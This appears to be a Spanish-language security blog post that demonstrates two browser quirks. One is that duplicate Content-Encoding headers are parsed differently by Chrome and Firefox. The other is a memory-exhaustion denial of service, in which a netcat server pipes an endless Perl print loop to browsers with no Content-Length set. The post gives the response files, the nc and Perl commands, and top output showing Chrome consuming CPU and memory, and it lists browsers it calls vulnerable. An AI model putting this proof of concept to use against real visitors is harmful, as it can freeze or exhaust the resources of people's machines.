Para comenzar tenemos el orden de los encabezados HTTP, normalmente no debería de afectar el orden en que se envían al navegador, pero en los casos cuando se repiten estos, la cosa no es tan simple, por ejemplo si mandamos la siguiente respuesta a distintos navegadores:
HTTP/1.1 200 OK
Content-Type: text/plain; charset=UTF-8
Date: Sun, 13 Jan 2013 02:25:35 GMT
Server: xianur0-to-me
Content-Length: 14
Content-Encoding: gzip
Content-Encoding: none
Segundo header
(respuesta.txt)
# nc -vvvl 8080 > consulta.txt < respuesta.txt
URL: http://localhost:8080/
Al entrar con Chrome podremos notar que aparece el texto “Segundo header”, pero al entrar con Firefox obtenemos un: “Error de codificación de contenido”, esto quiere decir que firefox lee el primer encabezado y chrome el segundo, esto es un “hack” bastante simple, pero que podría usarse con otros fines.
Multiple Web Browsers Memory Exhaustion
¿Qué pasa cuando no se incluye el encabezado del Content-Length en la respuesta del servidor web?
Este encabezado le dice al navegador el tamaño de la web/archivo que se enviará, normalmente no hay problema si se omite esta debido a que el servidor web al terminar de enviar la respuesta corta la conexión, el problema es cuando no se quiere cerrar la conexión o no se termina nunca de enviar una respuesta, esto es, el navegador tendrá que ir asignando más y más memoria hasta que la página se termine de enviar, el problema sería si un atacante crea un servidor que nunca deje de enviar una respuesta, desde luego sería lógico pensar que las empresas pondrían un limite al tamaño máximo o algún otro mecanismo para detener esto, lamentablemente no es así.
Zer0-null:/home/xianur0 # cat http.txt
HTTP/1.1 200 OK
Content-Type: text/plain; charset=UTF-8
Date: Sun, 13 Jan 2013 02:25:35 GMT
Server: xianur0-to-me
Xianur0 was here!!
Montamos netcat como un servidor http:
Zer0-null:/home/xianur0 # nc -vvvl 8080 > respuesta.txt < http.txt
En cualquier navegador que entremos a esta web (http://localhost:8080) veremos el mensaje: “Xianur0 was here!! ” siendo que nunca se especificó un tamaño de respuesta el navegador interpretó que leería toda la respuesta.
Una prueba de concepto muy burda de como se puede explotar este bug es la siguiente:
Zer0-null:/home/xianur0/lab # cat generador.pl
#!/usr/bin/perl
while(1){
print "Xianur0\n";
}
Zer0-null:/home/xianur0/lab # perl generador.pl | nc -vvvl 8080
Connection from 127.0.0.1 port 8080 [tcp/http-alt] accepted
GET / HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: es-ES,es;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
En el navegador podremos ver como se llena de la palabra “Xianur0” sin fin aparente.
Y con el comando top podremos ver que chrome se come los recursos:
17862 xianur0 20 0 318m 172m 21m R 91 20.0 0:56.13 chrome
(91% CPU, 20 % MEM)
Entre más tiempo se permanezca en la página mayor será el consumo de recursos en la victima.
Navegadores probados vulnerables (cualquier versión):
Chrome
Firefox
Chromium
Lynx
Epiphany
W3m
Opera
IE ← Este es el más afectado
Pruebas de concepto:
By Xianur0
0 comentarios:
Publicar un comentario